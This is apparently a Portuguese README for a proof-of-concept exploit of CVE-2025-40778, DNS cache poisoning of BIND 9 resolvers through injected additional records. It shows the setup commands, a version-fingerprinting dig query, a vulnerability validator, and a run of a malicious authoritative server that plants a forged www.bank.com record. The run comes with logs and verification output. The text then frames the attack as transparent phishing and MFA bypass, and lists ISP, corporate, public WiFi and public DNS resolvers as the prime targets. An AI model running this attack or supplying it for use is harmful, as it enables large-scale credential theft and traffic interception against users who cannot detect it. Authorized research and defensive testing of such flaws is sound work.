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GitHubnehkark/cve-2025-40778

CVE-2025-40778

Prova de conceito demonstrando envenenamento de cache DNS via injeção de registros adicionais no BIND 9, com ferramentas para validar e explorar o CVE-2025-40778 para testes de segurança autorizados.

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52há 9 mesesAinda não revisado

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CVE-2025-40778 Prova de Conceito

Demonstração educacional da vulnerabilidade de Envenenamento de Cache DNS via injeção de Registros Adicionais.

⚠️ Aviso Legal

APENAS PARA FINS EDUCACIONAIS

Esta ferramenta é fornecida apenas para fins educacionais e de testes de segurança autorizados. O uso não autorizado desta ferramenta contra sistemas que você não possui ou sem permissão explícita para testar é ilegal e antiético.

O autor não assume nenhuma responsabilidade por uso indevido ou danos causados por esta ferramenta.

📋 Descrição

Esta PoC demonstra como um servidor DNS autoritativo comprometido pode injetar registros envenenados em respostas DNS, potencialmente redirecionando usuários para servidores maliciosos sem o seu conhecimento.

Vetor de Ataque:

  • Servidor de nomes autoritativo comprometido injeta registros DNS adicionais
  • Registros envenenados são armazenados em cache por resolvedores recursivos
  • Usuários que consultam domínios legítimos são redirecionados para IPs controlados pelo atacante
  • Permite ataques de phishing transparentes (URL correta, servidor malicioso)

Cenários possíveis:

  • Phishing 100% transparente (URL correta)
  • Bypass em treinamentos anti-phishing
  • Ataques em larga escala contra redes corporativas
  • Persistência (dura horas com TTL alto)
  • Afeta TODOS os aplicativos
  • Bypass de MFA (via proxy transparente)
  • Distribuição de malware via atualizações
  • Entre outros

👤 Autor e Contato

  • Pesquisador: krakhen.dev
  • GitHub: @nehkark
  • Email: [email protected]
  • ICQ: 24298753
  • Site: https://vciso.cloud
  • 🔧 Requisitos

    root@kitploit:~
    pip install dnslib
    pip install dnspython
    pip install scapy
    

    Resumo Técnico CVE-2025-40778

    🔧 Verificar Versão do DNS

    Versões vulneráveis do Bind9

    • 9.11.0 – 9.16.50
    • 9.18.0 – 9.18.39
    • 9.20.0 – 9.20.13
    • 9.21.0 – 9.21.12
    root@kitploit:~
    (venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt
    
    ; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
    ; (1 server found)
    ;; global options: +cmd
    ;; Got answer:
    ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
    ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
    ;; WARNING: recursion requested but not available
    
    ;; OPT PSEUDOSECTION:
    ; EDNS: version: 0, flags:; udp: 4096
    ; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
    ;; QUESTION SECTION:
    ;version.bind.			CH	TXT
    
    ;; ANSWER SECTION:
    version.bind.		0	CH	TXT	"9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"
    
    ;; AUTHORITY SECTION:
    version.bind.		0	CH	NS	version.bind.
    
    ;; Query time: 14 msec
    ;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
    ;; WHEN: Fri Oct 31 10:51:04 -03 2025
    ;; MSG SIZE  rcvd: 134
    

    🔧 Verificar a vulnerabilidade no servidor DNS (BIND9)

    Esta ferramenta detecta se é possível explorar a vulnerabilidade CVE-2025-40778

    root@kitploit:~
    ============================================================
      CVE-2025-40778 - Forwarder Configuration Validator
    ============================================================
    
    Enter DNS server IP [127.0.0.1]: 200.0.0.X
    Enter domain to query [www.test.local]: www.company.com
    
    ============================================================
      CVE-2025-40778 VALIDATION - Forwarder Configuration
    ============================================================
      DNS Server: 200.0.0.X
      Domain:     www.company.com
    ============================================================
    
    [1/3] Resolution Test for www.company.com
    ------------------------------------------------------------
        [✓] www.company.com → 201.0.0.X
        → Forwarder ACTIVE for www.company.com
    
    [2/3] Additional Records Test (Poison Detection)
    ------------------------------------------------------------
        Answers:    2 records
        Authority:  1 records
        Additional: 2 records
    
        ANSWER SECTION:
        → www.company.com. 300 IN CNAME www.holding.com.
        → www.holding.com. 300 IN A 201.0.0.X
    
        ADDITIONAL SECTION:
        → [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
        → [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X
    
        → [!!!] MULTIPLE ANSWERS - Possible poisoning detected
    
    [3/3] Forwarder Latency Test
    ------------------------------------------------------------
        Query 1: 5.63ms
        Query 2: 7.46ms
        Query 3: 6.04ms
        Query 4: 5.04ms
        Query 5: 5.69ms
    
        Average: 5.97ms
        → [✓] Forwarder working correctly
    
    ============================================================
      CONFIGURATION VALIDATED
    ============================================================
    

    🔧 Passo 1: Ativar a Vulnerabilidade CVE-2025-40778

    Descrição: Nesta etapa, você inicia o servidor DNS autoritativo malicioso que simula um servidor de nomes comprometido. O servidor escuta em um IP e porta específicos (127.0.0.2:5301), pronto para injetar registros DNS envenenados nas respostas. Quando configurado, ele responderá a consultas legítimas para www.test.local com o endereço IP correto, mas simultaneamente injetará um registro malicioso para www.bank.com apontando para um IP controlado pelo atacante. Esse comportamento de resposta dupla é o núcleo do ataque de envenenamento de cache — o resolvedor DNS vulnerável armazenará em cache tanto a resposta legítima quanto o registro envenenado, mesmo que apenas um domínio tenha sido solicitado.

    root@kitploit:~
    (venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py 
    ============================================================
      CVE-2025-40778 PoC - poc-linux | krakhen.dev
    ============================================================
    [*] Listening: 127.0.0.2:5301
    [*] Legit:   www.test.local. → 192.168.0.136
    [*] Poison:  www.bank.com. → 192.168.0.100
    
    [✓] Running. Ctrl+C to stop.
    
    2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
    [→] Query: www.test.local.
    [✓] Legit: www.test.local. → 192.168.0.136
    [!] POISON: www.bank.com. → 192.168.0.100
    2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A
    

    🔧 Passo 2: Verificar o Comprometimento CVE-2025-40778

    Descrição: Aqui você realiza uma consulta DNS padrão através do seu resolvedor local (BIND) para verificar se a infraestrutura está funcionando corretamente. A consulta para www.test.local deve retornar o endereço IP legítimo (192.168.0.136) como esperado. Neste ponto, a resposta parece normal para o usuário final — não há indicação visível de comprometimento. No entanto, nos bastidores, o resolvedor DNS vulnerável já armazenou em cache ambos os registros: o legítimo que você solicitou E o registro envenenado para www.bank.com que foi injetado na seção adicional da resposta. Esta etapa confirma que seu resolvedor DNS se comunicou com sucesso com o servidor autoritativo malicioso e processou sua resposta.

    root@kitploit:~
    (venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A
    
    ; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
    ; (1 server found)
    ;; global options: +cmd
    ;; Got answer:
    ;; WARNING: .local is reserved for Multicast DNS
    ;; You are currently testing what happens when an mDNS query is leaked to DNS
    ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
    ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
    
    ;; OPT PSEUDOSECTION:
    ; EDNS: version: 0, flags:; udp: 1232
    ; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
    ;; QUESTION SECTION:
    ;www.test.local.			IN	A
    
    ;; ANSWER SECTION:
    www.test.local.		120	IN	A	192.168.0.136
    
    ;; Query time: 1 msec
    ;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
    ;; WHEN: Fri Oct 31 10:44:57 -03 2025
    ;; MSG SIZE  rcvd: 87
    

    🔧 Passo 3: Envenenar DNS - CVE-2025-40778 Ativo

    Descrição: Esta etapa revela a evidência do envenenamento de cache bem-sucedido da perspectiva do atacante. Os logs do servidor DNS malicioso mostram que ele recebeu a consulta para www.test.local, respondeu com a resposta legítima E injetou com sucesso o registro envenenado para www.bank.com. A notação "RRs: A,A" indica que dois registros A foram enviados na resposta — um legítimo, um malicioso. Neste momento, o cache DNS da vítima está comprometido. Quaisquer consultas subsequentes para www.bank.com deste resolvedor retornarão o IP do atacante (192.168.0.100) em vez do site bancário real, permitindo ataques de phishing transparentes onde os usuários veem a URL correta, mas se conectam a um servidor malicioso. O ataque é invisível para os usuários finais e persistirá até que o cache DNS expire (TTL).

    root@kitploit:~
    2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35413] (udp) / 'www.test.local.' (A)
    [→] Query: www.test.local.
    [✓] Legit: www.test.local. → 192.168.0.136
    [!] POISON: www.bank.com. → 192.168.0.100
    2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35413] (udp) / 'www.test.local.' (A) / RRs: A,A
    1272025-10-31 10:44:57 [DNSHandler:PoisonResolver] Request: [127.0.0.1:54962] (udp) / 'www.test.local.' (A)
    [→] Query: www.test.local.
    [✓] Legit: www.test.local. → 192.168.0.136
    [!] POISON: www.bank.com. → 192.168.0.100
    2025-10-31 10:44:57 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:54962] (udp) / 'www.test.local.' (A) / RRs: A,A
    

    📖 Conclusão

    Cenário de Ataque no Mundo Real: Entendendo o Impacto

    O Que Isso Significa na Prática:

    Imagine que você é um usuário comum tentando acessar o site do seu banco. Você digita cuidadosamente www.bank.com no seu navegador — a URL está 100% correta, sem erros de digitação, sem links suspeitos de e-mails. A barra de endereço do seu navegador mostra o domínio exato em que você confia. Tudo parece legítimo.

    Mas aqui está o que realmente aconteceu nos bastidores:

    O servidor DNS da sua empresa foi comprometido por um atacante que envenenou seu cache usando esta vulnerabilidade. Quando seu computador pergunta "Onde está www.bank.com?", o DNS envenenado responde com o endereço IP do servidor do atacante em vez do endereço real do banco.

    A Anatomia de um Ataque

    • ✅ Você vê a URL correta: https://www.bank.com
    • ✅ Você não clicou em nenhum link suspeito de e-mail
    • ✅ Você não baixou nenhum malware
    • ✅ Você seguiu todas as melhores práticas de segurança
    • ❌ Mas você está se conectando ao site falso do atacante

    O que o atacante pode roubar:

    • Credenciais de login - Seu nome de usuário e senha são capturados no momento em que você os digita
    • Tokens de sessão - Mesmo que você use autenticação de dois fatores (2FA), o atacante pode interceptar sua sessão autenticada
    • Informações pessoais - Números de conta, números de CPF, detalhes de cartão de crédito
    • Segredos comerciais - E-mails corporativos, documentos confidenciais, chaves de API

    Por que é tão perigoso:

    Este ataque é completamente invisível para a vítima. Não há aviso, não há sinais de alerta, não há como um usuário comum detectá-lo. Até profissionais conscientes de segurança podem ser vítimas porque o ataque ocorre no nível da infraestrutura, não no dispositivo do usuário. Um único servidor DNS comprometido pode afetar milhares de usuários simultaneamente, tornando-o um vetor de ataque altamente eficaz para cibercriminosos que visam organizações.

    Conclusão: CVE-2025-40778 permite que atacantes transformem a confiança em arma. Quando a própria infraestrutura na qual confiamos para navegar na internet é comprometida, até os usuários mais cautelosos se tornam vulneráveis. É por isso que entender, testar e mitigar esta vulnerabilidade é crítico para a postura de segurança de qualquer organização.

    ⚠️ Importante: Entendendo os Pré-requisitos do Ataque

    Requisito Crítico: Para que este ataque tenha sucesso, a vítima deve estar usando o resolvedor DNS comprometido. O ataque não visa diretamente os dispositivos dos usuários finais — em vez disso, visa a infraestrutura DNS da qual os usuários dependem para navegar na internet.

    Alvos de Ataque no Mundo Real:

    O objetivo principal do atacante é comprometer resolvedores DNS que atendem grandes bases de usuários. Os alvos mais valiosos incluem:

    • Servidores DNS de Provedores de Internet (ISPs) - Quando um atacante envenena a infraestrutura DNS de um Provedor de Serviços de Internet, todos os clientes que usam as configurações DNS padrão desse provedor se tornam vulneráveis. Isso pode afetar milhões de usuários residenciais e empresariais simultaneamente.
    • Servidores DNS Corporativos - Organizações normalmente executam seus próprios servidores DNS internos para funcionários. Comprometer esses servidores dá aos atacantes acesso à força de trabalho de uma empresa inteira, tornando-os um alvo atraente para espionagem corporativa ou roubo de dados.
    • Redes WiFi Públicas - Hotéis, aeroportos, cafés e centros de conferências frequentemente fornecem serviços DNS aos hóspedes. Um DNS de WiFi público comprometido pode interceptar credenciais de viajantes a negócios e participantes de eventos.
    • Serviços DNS Públicos - Embora fortemente protegidos, serviços como Google DNS (8.8.8.8) ou Cloudflare (1.1.1.1) representam os alvos de maior impacto devido à sua enorme base de usuários.

    Por Que Isso Importa:

    A eficácia do ataque escala com a base de usuários do resolvedor DNS. Comprometa o servidor DNS de um ISP e você potencialmente compromete todos os clientes que não alteraram manualmente suas configurações DNS. É por isso que a segurança DNS no nível da infraestrutura é crítica — um único resolvedor vulnerável pode criar uma superfície de ataque massiva afetando milhares ou milhões de usuários que confiam nessa infraestrutura para estar segura.

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